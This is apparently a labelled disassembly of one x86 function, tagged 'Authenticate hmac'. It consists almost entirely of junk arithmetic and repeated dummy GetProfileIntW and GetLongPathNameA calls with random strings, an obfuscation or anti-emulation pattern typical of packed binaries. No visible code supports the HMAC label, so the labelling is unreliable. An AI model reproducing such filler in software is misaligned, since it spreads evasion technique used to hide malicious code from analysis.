Function at 0x4028a5
Capabilities:
Authenticate hmac

Disassembly:
sub esi, 0xffffff98
xor eax, eax
xchg byte [ebp - 4], cl
add cl, bh
or dword [0x40a1a3], esi
push 0
mov esi, str.ynpinxdovqipl
push esi
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
and dword [0x40a07d], eax
or dword [0x40a17c], ebx
sub eax, dword [0x40a038]
xchg dword [ebp - 4], edx
sub edx, dword [0x40a0db]
or edx, dword [0x40a075]
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
sub ebx, 0x69
add eax, 0xa
or eax, dword [0x40a0e0]
sub ah, byte [0x40a1bb]
xor ebx, esi
and esi, 0xffffffb8
jmp 0x404299
push esp
pop eax
push ebp
mov ebp, esp
sub esp, 0x48
sub byte [0x40a058], 0xdc
xchg dword [ebp - 4], edi
add edi, 0xffffffa6
xchg dword [ebp - 4], ecx
add ecx, edi
xor dword [0x40a0f2], 0xffffff80
xchg dword [ebp - 4], ecx
add ecx, edi
xchg dword [ebp - 4], eax
sub eax, dword [0x40a04e]
and dword [0x40a1aa], 0x58
or ecx, 0xffffffb3
push 0
mov edi, str.ynpinxdovqipl
push edi
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x402c32
sub dword [0x40a1f6], eax
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a1ef]
xchg dword [ebp - 4], esi
add esi, eax
add dword [0x40a1d0], eax
sub eax, dword [0x40a198]
push 0xc
mov ecx, 0x40a490
push ecx
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x402c32
sub dword [0x40a0d6], edi
sub byte [0x40a100], 0x62
sub edi, dword [0x40a1fa]
and dword [0x40a011], eax
xchg dword [ebp - 4], ecx
add ecx, 0x42
jmp 0x403e94
add ebx, 0xffffff93
or edi, dword [0x40a1d7]
sub edi, 0xfffffff9
xchg dword [ebp - 4], ecx
add ecx, edi
push 0xc
mov edx, 0x40a490
push edx
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
sub byte [0x40a197], 0x6e
xchg dword [ebp - 4], ecx
add ecx, 0xfffffff8
xchg dword [ebp - 4], edx
sub edx, dword [0x40a19e]
sub dword [0x40a19a], ecx
add byte [0x40a1ac], dl
add ebx, ecx
jmp 0x404ab5
sub byte [0x40a11b], 0x46
xchg byte [ebp - 4], dl
add dl, bl
xor dword [0x40a082], 0x8f
add esi, 0xffffffe3
xchg dword [ebp - 4], ecx
add ecx, 0xfffffff9
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
sub edi, dword [0x40a19d]
add dword [0x40a0fb], esi
xchg byte [ebp - 4], dl
add dl, al
or al, byte [0x40a1f2]
push 0xc
mov eax, 0x40a490
push eax
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
mov dword [0x40a0e9], 0xce
and byte [0x40a034], ah
sub al, byte [0x40a141]
add eax, 0xfffffffe
jmp 0x405c13
sub al, byte [0x40a09f]
sub ebx, 0xffffffa5
sub byte [0x40a093], 0x20
xchg dword [ebp - 4], edx
add edx, 0x10
sub eax, dword [0x40a07c]
sub esi, dword [0x40a01d]
push 0xc
mov edi, 0x40a490
push edi
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x403a4a
xchg byte [ebp - 4], dh
add dh, al
add ebx, eax
sub edx, dword [0x40a17c]
or edi, 0x30
push 0xc
mov edi, 0x40a490
push edi
mov esi, str.ellighixoqdjz
push esi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x403a4a
mov dword [0x40a152], 0xb9
add edi, 0x73
sub edi, dword [0x40a051]
sub dword [0x40a199], eax
xor esi, ebx
sub byte [0x40a14f], 0x2d
jmp 0x40414f
mov dword [0x40a1b7], 0xc7
sub dword [0x40a1c7], ebx
add dword [0x40a147], eax
add dword [0x40a043], esi
mov dword [0x40a118], 0x55
sub byte [0x40a003], 0x30
push 0xc
mov edi, 0x40a490
push edi
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub dword [0x40a12d], edi
sub esi, dword [0x40a1fa]
add dword [0x40a0a9], eax
add dword [0x40a0e6], esi
add dword [0x40a06a], ebx
xchg byte [ebp - 4], dl
add dl, bl
push 0xc
mov ebx, 0x40a490
push ebx
mov esi, str.ellighixoqdjz
push esi
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
and dword [0x40a086], 0xd
xchg dword [ebp - 4], ecx
add ecx, esi
add ecx, 0xffffffe2
add dword [0x40a065], esi
add ebx, eax
sub byte [0x40a1c6], 0x4b
jmp 0x405c13
xchg byte [ebp - 4], cl
add cl, 0xe4
xchg dword [ebp - 4], edx
add edx, 0xfffffff8
sub ecx, dword [0x40a055]
sub byte [0x40a03c], 0x7f
xchg dword [ebp - 4], ebx
sub ebx, dword [0x40a05e]
or ecx, dword [0x40a15c]
push 0xc
mov edi, 0x40a490
push edi
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xor byte [0x40a06e], bh
sub byte [0x40a17d], 0xbc
add dword [0x40a053], ebx
add ebx, 0xffffffa4
sub eax, dword [0x40a1fa]
sub eax, dword [0x40a08d]
jmp 0x402e43
or dword [0x40a0ea], edi
mov dword [0x40a059], 0x19
xchg dword [ebp - 4], ecx
add ecx, edi
xchg dword [ebp - 4], edx
sub edx, dword [0x40a004]
or edi, dword [0x40a15c]
push 0
mov eax, str.ynpinxdovqipl
push eax
mov ecx, str.hdqgtummidfemntd
push ecx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
and eax, 0x6a
sub ah, ah
and ah, 0xa3
or dword [0x40a06b], 0xb4
or dword [0x40a1bf], 0x52
push 0xc
mov eax, 0x40a490
push eax
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub ebx, dword [0x40a1bf]
sub byte [0x40a18b], 0x50
sub esi, dword [0x40a096]
sub byte [0x40a0bc], 0x2e
sub dword [0x40a019], eax
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a0c2]
jmp 0x405c13
and dword [0x40a1e9], 0x35
or dword [0x40a08c], 0xa0
add eax, edi
sub byte [0x40a0c8], 0x6d
sub eax, dword [0x40a020]
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov ecx, str.hdqgtummidfemntd
push ecx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
or dword [0x40a04d], esi
xchg dword [ebp - 4], ecx
add ecx, 0xffffffa4
xchg dword [ebp - 4], edx
add edx, ecx
mov dword [0x40a0a4], 0x36
add dl, 0x68
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
sub byte [0x40a05c], 0xb1
xchg dword [ebp - 4], ecx
add ecx, 0xffffff8a
or edi, dword [0x40a10f]
sub byte [0x40a198], 0x7a
sub bh, byte [0x40a16f]
jmp 0x405c13
add ebx, esi
sub edi, 0x7f
sub dword [0x40a135], esi
add ebx, 0x64
add edi, 0xc
xchg dword [ebp - 4], ecx
add ecx, 0x79
push 0xc
mov edi, 0x40a490
push edi
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xchg dword [ebp - 4], ecx
add ecx, 0xffffffa4
or bh, byte [0x40a0f4]
sub byte [0x40a01e], 0x5d
mov dword [0x40a014], 0x77
sub dword [0x40a0e5], ecx
sub al, ah
jmp 0x405c13
sub ah, byte [0x40a016]
xchg dword [ebp - 4], ecx
add ecx, 0x21
add ecx, ecx
sub ecx, dword [0x40a18d]
add ecx, edi
push 0
mov edi, str.ynpinxdovqipl
push edi
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
or eax, dword [0x40a15d]
xor dword [0x40a120], edi
sub ebx, dword [0x40a1dd]
xchg dword [ebp - 4], edx
add edx, edi
sub edi, 0xffffffcb
sub eax, dword [0x40a1cc]
push 0
mov edx, str.ynpinxdovqipl
push edx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xor eax, edi
xor esi, eax
add ah, 0xff
sub dword [0x40a038], eax
add eax, eax
jmp 0x405c13
sub edi, dword [0x40a00d]
xchg dword [ebp - 4], ecx
add ecx, eax
xchg dword [ebp - 4], edx
add edx, 0xffffff9b
or eax, dword [0x40a0e6]
and dword [0x40a159], 0xa3
push 0xc
mov edi, 0x40a490
push edi
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x4054cf
or dword [0x40a1c1], 0x5e
add dword [0x40a05c], eax
or dword [0x40a1dc], 0x47
sub dword [0x40a00b], edi
add edi, ebx
sub byte [0x40a0be], 0x6b
jmp 0x40532a
sub edi, eax
xchg dword [ebp - 4], ecx
add ecx, 0x66
sub byte [0x40a0e8], 0xfe
sub byte [0x40a150], 0xfc
mov dword [0x40a0bf], 0x4b
push 0xc
mov edi, 0x40a490
push edi
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x4058bb
sub byte [0x40a01f], 0xc3
sub bh, byte [0x40a117]
xchg dword [ebp - 4], ecx
add ecx, 0x29
xor dword [0x40a11f], 0xfe
push 0
mov eax, str.ynpinxdovqipl
push eax
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x4058bb
mov dword [0x40a1db], 0x74
add dword [0x40a1ca], ebx
add dword [0x40a07d], ebx
add ebx, esi
add dword [0x40a087], eax
sub ebx, edi
jmp 0x402aa0
sub byte [0x40a06c], 0x38
add edi, ebx
xchg dword [ebp - 4], ecx
add ecx, esi
add ecx, 0x5f
sub byte [0x40a07c], 0xc5
or dword [0x40a09c], 0x44
push 0xc
mov esi, 0x40a490
push esi
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
mov dword [0x40a194], 0x15
and dword [0x40a1d2], ebx
xchg dword [ebp - 4], edx
add edx, eax
sub byte [0x40a041], 0x91
jmp 0x402b69
sub ebx, dword [0x40a1e0]
sub eax, 0xffffffe5
sub al, byte [0x40a0ab]
add dword [section..data], ebx
push 0xc
mov esi, 0x40a490
push esi
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
and dword [0x40a153], edi
sub edi, dword [0x40a077]
xor dword [0x40a1a6], 0xef
or esi, dword [0x40a181]
add dword [0x40a142], esi
sub esi, 0xffffff80
jmp 0x40487c
and dword [0x40a104], edi
xchg byte [ebp - 4], dh
add dh, al
mov dword [0x40a11c], 0x53
mov dword [0x40a12f], 0x4b
xor eax, ebx
add ebx, 0x3f
push 0
mov edx, str.ynpinxdovqipl
push edx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
or dword [0x40a152], 0xd4
sub edi, edi
xor dword [0x40a175], 0x91
sub esi, eax
sub byte [0x40a09d], 0xbe
sub byte [0x40a089], 0x3d
push 0xc
mov edi, 0x40a490
push edi
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
and ebx, 0xffffffdf
sub esi, edi
sub edi, dword [0x40a01e]
xchg dword [ebp - 4], ecx
add ecx, esi
jmp 0x4035af
xchg byte [ebp - 4], dl
add dl, bh
and dword [0x40a17c], edx
sub eax, dword [0x40a199]
xor edx, 0x13
or ah, byte [0x40a13d]
add dword [0x40a10a], ebx
push 0
mov edx, str.ynpinxdovqipl
push edx
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xchg dword [ebp - 4], edx
add edx, 2
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a190]
sub bl, byte [0x40a005]
sub ebx, dword [0x40a1ac]
sub esi, dword [0x40a1d0]
jmp 0x405c13
sub bh, byte [0x40a073]
add eax, 0x5b
sub byte [0x40a095], 0x70
or dword [0x40a123], 0x9a
sub ah, bl
sub bl, byte [0x40a117]
push 0xc
mov eax, 0x40a490
push eax
mov esi, str.ellighixoqdjz
push esi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
or esi, dword [0x40a06a]
mov dword [0x40a0fb], 0x22
sub eax, dword [0x40a042]
xor edi, ebx
mov dword [0x40a0d5], 0xa9
or dword [0x40a0a7], esi
jmp 0x4030b3
sub esi, dword [0x40a012]
and dword [0x40a068], 0xab
add byte [0x40a050], bl
add ebx, 0xffffffca
sub byte [0x40a007], 0xec
add dword [0x40a18d], esi
push 0xc
mov edi, 0x40a490
push edi
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
add edi, esi
sub dword [0x40a085], eax
or ebx, 0xffffff99
add dword [0x40a1ba], esi
xchg dword [ebp - 4], ecx
add ecx, 0x4b
jmp 0x4033ec
sub byte [0x40a080], 0x18
sub byte [0x40a167], 0xc9
add eax, 0x7e
sub byte [0x40a1b3], 0xcd
push 0xc
mov eax, 0x40a490
push eax
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
xor esi, 0xffffffb2
sub byte [0x40a17f], 0xd6
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a0f2]
xchg dword [ebp - 4], edx
sub edx, dword [0x40a178]
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov ebx, str.hdqgtummidfemntd
push ebx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
sub byte [0x40a02f], 0x62
xchg dword [ebp - 4], edx
add edx, eax
or ah, byte [0x40a181]
sub edi, 0xffffffb8
add esi, 0xffffffef
and dword [0x40a0e5], edi
jmp 0x405c13
xchg dword [ebp - 4], edx
add edx, 0x38
xchg dword [ebp - 4], ecx
add ecx, 0xffffff8e
add ah, al
sub dword [0x40a1ed], esi
push 0xc
mov eax, 0x40a490
push eax
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x403c66
sub edi, 0xffffffc8
add esi, 0xffffffc9
xchg byte [ebp - 4], dh
add dh, 0x49
sub esi, 7
or dword [0x40a050], 0x7f
or dh, byte [0x40a08d]
jmp 0x40391e
xchg dword [ebp - 4], edx
add edx, ebx
or esi, dword [0x40a009]
xchg dword [ebp - 4], ecx
add ecx, 0x22
and dword [0x40a1c4], 0x5f
or dword [0x40a0bd], esi
push 0
mov esi, str.ynpinxdovqipl
push esi
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
add al, bl
and dword [0x40a021], ebx
sub edi, dword [0x40a17b]
xchg dword [ebp - 4], edx
add edx, 0x24
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
sub ebx, esi
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a081]
xchg dword [ebp - 4], edx
add edx, 7
sub byte [0x40a09a], 0x83
jmp 0x4059ab
xor dword [0x40a01f], 0xf9
sub ebx, dword [0x40a1cc]
add dword [0x40a112], esi
sub al, byte [0x40a09f]
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
or edi, dword [0x40a1a3]
or bl, byte [0x40a00b]
sub byte [0x40a157], 0xc2
sub esi, dword [0x40a008]
add eax, ebx
sub esi, ebx
jmp 0x403bdf
and dword [0x40a078], 0xfb
add esi, edi
sub esi, dword [0x40a073]
xchg dword [ebp - 4], edx
sub edx, dword [0x40a0d8]
sub dl, byte [0x40a07c]
and dword [0x40a11b], 0x43
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add edi, esi
sub byte [0x40a0e9], 0x12
sub byte [0x40a05e], 0x50
sub byte [0x40a1a4], al
xor dword [0x40a175], ebx
push 0
mov esi, str.ynpinxdovqipl
push esi
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
and dword [0x40a152], 0xd9
sub byte [0x40a1d3], 0xa3
or dword [0x40a0b5], 7
xchg dword [ebp - 4], edx
add edx, eax
jmp 0x404e52
mov dword [0x40a0c2], 0x86
xchg dword [ebp - 4], edx
sub edx, dword [0x40a159]
sub edx, dword [0x40a190]
xor dword [0x40a137], eax
add edx, 0x76
xor eax, edx
push 0
mov edx, str.ynpinxdovqipl
push edx
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
or dword [0x40a189], 0x58
sub ebx, ebx
add dword [0x40a1e1], edi
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a1b9]
add dword [0x40a037], ebx
push 0
mov ebx, str.ynpinxdovqipl
push ebx
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add edi, ebx
or ah, byte [0x40a125]
add eax, 0x7b
sub eax, esi
jmp 0x40523c
xchg dword [ebp - 4], edx
sub edx, dword [0x40a0d7]
sub eax, edx
add esi, esi
sub byte [0x40a1cd], 0x6f
push 0xc
mov edi, 0x40a490
push edi
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
sub eax, edi
sub byte [0x40a0f4], 0xee
xchg dword [ebp - 4], ecx
add ecx, 0xffffff9b
add ecx, 0x3a
xchg byte [ebp - 4], dh
add dh, 0x37
push 0
mov esi, str.ynpinxdovqipl
push esi
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
xchg byte [ebp - 4], cl
add cl, bl
and ecx, 0x43
xor dword [0x40a07f], 0xf2
xor dword [0x40a09d], 0x27
sub dword [0x40a027], esi
xor dword [0x40a009], 0x52
jmp 0x4052af
xchg dword [ebp - 4], edx
add edx, 0xffffff87
sub dword [0x40a1c1], ebx
sub dword [0x40a0da], edx
add ebx, esi
and esi, 0xffffffdd
push 0xc
mov edi, 0x40a490
push edi
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x4032d5
mov dword [0x40a0ff], 0xc9
mov dword [0x40a0a0], 0xa2
or dword [0x40a185], ebx
mov dword [0x40a08b], 0xe
push 0xc
mov edi, 0x40a490
push edi
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x4032d5
or eax, dword [0x40a00b]
xchg dword [ebp - 4], ecx
sub ecx, dword [section..data]
sub esi, dword [0x40a1f4]
sub bl, byte [0x40a1de]
and dword [0x40a098], 0x9c
sub byte [0x40a034], 0xb4
jmp 0x403493
add dword [0x40a115], eax
add byte [0x40a025], ah
xchg byte [ebp - 4], dl
add dl, ah
sub byte [0x40a1ce], 0xa1
and dword [0x40a059], 0x41
push 0xc
mov ecx, 0x40a490
push ecx
mov esi, str.ellighixoqdjz
push esi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x404f01
add eax, esi
sub byte [0x40a182], 0x2a
sub ebx, dword [0x40a07a]
and dword [0x40a14a], 0xd3
jmp 0x404de7
xchg dword [ebp - 4], ecx
add ecx, 0xffffff83
xchg dword [ebp - 4], edx
add edx, edi
add ebx, 0xffffffe9
sub ebx, dword [0x40a085]
add esi, edi
push 0
mov eax, str.ynpinxdovqipl
push eax
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x4050e4
add dword [0x40a0d4], ebx
and dword [0x40a1d5], ebx
sub eax, dword [0x40a1e7]
xchg byte [ebp - 4], ch
add ch, ah
and dword [0x40a0a8], esi
push 0xc
mov ebx, 0x40a490
push ebx
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x4050e4
sub byte [0x40a172], 0xbd
xchg dword [ebp - 4], edx
add edx, esi
xchg byte [ebp - 4], cl
add cl, 0x74
sub ecx, ebx
sub ch, byte [0x40a065]
sub byte [0x40a075], 0x3a
jmp 0x405422
xchg dword [ebp - 4], ecx
add ecx, 0x2f
mov dword [0x40a19f], 0x1a
add edi, ebx
sub byte [0x40a1d1], 0x49
push 0xc
mov esi, 0x40a490
push esi
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
add byte [0x40a02d], bh
xchg dword [ebp - 4], edx
sub edx, dword [0x40a121]
sub ebx, 0xffffffc7
add edx, esi
sub eax, dword [0x40a047]
add edx, 0xffffffab
push 0xc
mov edx, 0x40a490
push edx
mov ecx, str.ellighixoqdjz
push ecx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
xor edi, esi
and edi, 0x17
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1c3]
or ebx, dword [0x40a196]
sub bl, dh
jmp 0x405a22
sub byte [0x40a0fd], 0x82
sub eax, dword [0x40a1ca]
sub eax, dword [0x40a0d5]
xchg dword [ebp - 4], ecx
add ecx, 0xe
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add dword [0x40a0ec], ebx
add esi, 0xffffffd6
xchg byte [ebp - 4], dl
add dl, 0x4f
add esi, esi
xchg byte [ebp - 4], cl
add cl, 0xa
jmp 0x402cb7
sub ebx, esi
xchg dword [ebp - 4], ecx
add ecx, ebx
sub esi, ebx
and dword [0x40a0ec], 0x23
sub eax, 0x53
push 0xc
mov ecx, 0x40a490
push ecx
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
and esi, 0x7e
xor dword [0x40a191], esi
sub dword [0x40a1d7], edi
add dword [0x40a101], ebx
and dword [0x40a112], 0xdb
sub byte [0x40a183], 0xa5
jmp 0x405c13
or edi, dword [0x40a017]
xchg dword [ebp - 4], ecx
add ecx, 0xffffffd5
xor dword [0x40a1cd], 0x52
xor esi, edi
add ecx, eax
push 0
mov edx, str.ynpinxdovqipl
push edx
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
xor esi, 0x10
xchg dword [ebp - 4], ecx
add ecx, esi
xor dword [0x40a00a], 0x30
and dword [0x40a18f], ebx
and byte [0x40a13c], ah
and dword [0x40a18d], ecx
jmp 0x405c13
add dword [0x40a0ba], edi
or dword [0x40a146], 0x36
xchg byte [ebp - 4], cl
add cl, al
add byte [0x40a072], ch
sub dword [0x40a011], esi
push 0
mov edi, str.ynpinxdovqipl
push edi
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add esi, eax
or dword [0x40a02d], eax
xchg dword [ebp - 4], edx
add edx, esi
sub byte [0x40a1d7], 0x21
or bl, byte [0x40a0e9]
add dword [0x40a086], eax
jmp 0x4057fc
or dword [0x40a0ff], eax
and dword [0x40a0fc], ebx
sub edi, dword [0x40a109]
xchg dword [ebp - 4], ecx
add ecx, 0x5c
push 0
mov eax, str.ynpinxdovqipl
push eax
mov esi, str.hdqgtummidfemntd
push esi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x403fa8
sub ebx, 0xfffffff1
add al, 0x91
sub byte [0x40a1b5], 8
xchg dword [ebp - 4], edx
sub edx, dword [0x40a1fa]
xchg dword [ebp - 4], ecx
add ecx, 0xffffffe9
add ebx, edx
jmp 0x4043e7
or dword [0x40a043], 0xb3
xor edi, 0xffffffb2
sub ebx, dword [0x40a1b1]
add edi, esi
xor dword [0x40a1a3], edi
push 0
mov edi, str.ynpinxdovqipl
push edi
mov edi, str.hdqgtummidfemntd
push edi
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
add eax, 0xffffff88
add esi, esi
xor esi, 0xffffffdc
xchg dword [ebp - 4], edx
add edx, eax
push 0
mov edi, str.ynpinxdovqipl
push edi
mov edx, str.hdqgtummidfemntd
push edx
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x405c13
add ah, al
xor ebx, 0x76
and esi, 0x24
sub eax, dword [0x40a013]
add dword [0x40a1ea], ebx
jmp 0x405c13
add byte [0x40a17d], bh
xchg dword [ebp - 4], edx
add edx, 0x59
add ebx, edi
add edi, 0xffffffdb
add dword [0x40a06b], edi
or ebx, dword [0x40a097]
push 0xc
mov ecx, 0x40a490
push ecx
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
or eax, 0x3b
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a126]
xor dword [0x40a14a], edi
mov dword [0x40a022], 0x8f
add edi, 0x3d
push 0xc
mov esi, 0x40a490
push esi
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
or dword [0x40a1cf], eax
add eax, eax
sub edi, ebx
and bl, 0x98
or ebx, dword [0x40a020]
jmp 0x405c13
xor dword [0x40a199], edi
or ebx, 2
sub byte [0x40a04e], 0xe3
sub byte [0x40a0a5], 0x60
push 0xc
mov esi, 0x40a490
push esi
mov edx, str.ellighixoqdjz
push edx
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x4049f4
sub esi, 0xffffffc4
sub eax, dword [0x40a112]
add dword [0x40a00c], esi
xor eax, 0x67
sub edi, 0x1c
sub byte [0x40a1b1], 0xc4
jmp 0x404fb0
mov dword [0x40a035], 0xe8
or dword [0x40a117], 0x71
add edi, eax
add ebx, edi
push 0
mov edi, str.ynpinxdovqipl
push edi
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
cmp eax, 0
jne 0x405c13
add ebx, 0xffffffb7
or dword [0x40a03a], 0x45
sub byte [0x40a1dc], 0x94
add esi, edi
push 0xc
mov ecx, 0x40a490
push ecx
mov edi, str.ellighixoqdjz
push edi
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
and ebx, 0xffffffe3
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a129]
and dword [0x40a063], 5
xor dword [0x40a185], edi
sub ebx, ebx
jmp 0x405c13
sub byte [0x40a0db], 0x6b
xchg dword [ebp - 4], edx
sub edx, dword [0x40a05b]
sub dword [0x40a132], eax
sub byte [0x40a177], 0xd2
sub byte [0x40a064], 0x82
push 0xc
mov ebx, 0x40a490
push ebx
mov ebx, str.ellighixoqdjz
push ebx
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
sub eax, dword [0x40a097]
add dword [0x40a091], ebx
sub dword [0x40a1a0], eax
xchg dword [ebp - 4], ecx
sub ecx, dword [0x40a043]
add dword [0x40a19a], ecx
jmp 0x4055e9
add byte [0x40a1a3], bl
add ah, 0x2b
xchg dword [ebp - 4], edx
sub edx, dword [0x40a18d]
and eax, 0xffffffcf
sub edi, dword [0x40a198]
push 0xc
mov eax, 0x40a490
push eax
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x40350a
xor esi, eax
xor byte [0x40a044], bl
add edi, esi
sub byte [0x40a06c], 0x5c
jmp 0x40493b
sub edi, dword [0x40a063]
or ah, byte [0x40a006]
xor dword [0x40a18d], 0x3b
sub ah, byte [0x40a00c]
sub byte [0x40a085], 0xe9
push 0xc
mov ebx, 0x40a490
push ebx
mov eax, str.ellighixoqdjz
push eax
call sub.kernel32.dll_GetLongPathNameA
test eax, eax
jne 0x405c13
and dword [0x40a083], 0x58
add eax, ebx
add dword [0x40a042], eax
sub esi, edi
sub dword [0x40a149], ebx
push 0xc
mov edx, 0x40a490
push edx
mov esi, str.ellighixoqdjz
push esi
call sub.kernel32.dll_GetLongPathNameA
cmp eax, 0
jne 0x405c13
or ebx, 0x3a
add esi, esi
sub ebx, dword [0x40a0b6]
xor dword [0x40a08a], 0x3f
or esi, dword [0x40a084]
or dword [0x40a0ab], 0xad
jmp 0x402d78
xchg dword [ebp - 4], ecx
add ecx, 0xffffffe4
and ebx, 0x38
add ecx, 0x39
xor dword [0x40a104], 0x27
xchg dword [ebp - 4], edx
sub edx, dword [0x40a189]
push 0
mov ecx, str.ynpinxdovqipl
push ecx
mov eax, str.hdqgtummidfemntd
push eax
call sub.kernel32.dll_GetProfileIntW
test eax, eax
jne 0x4036e5
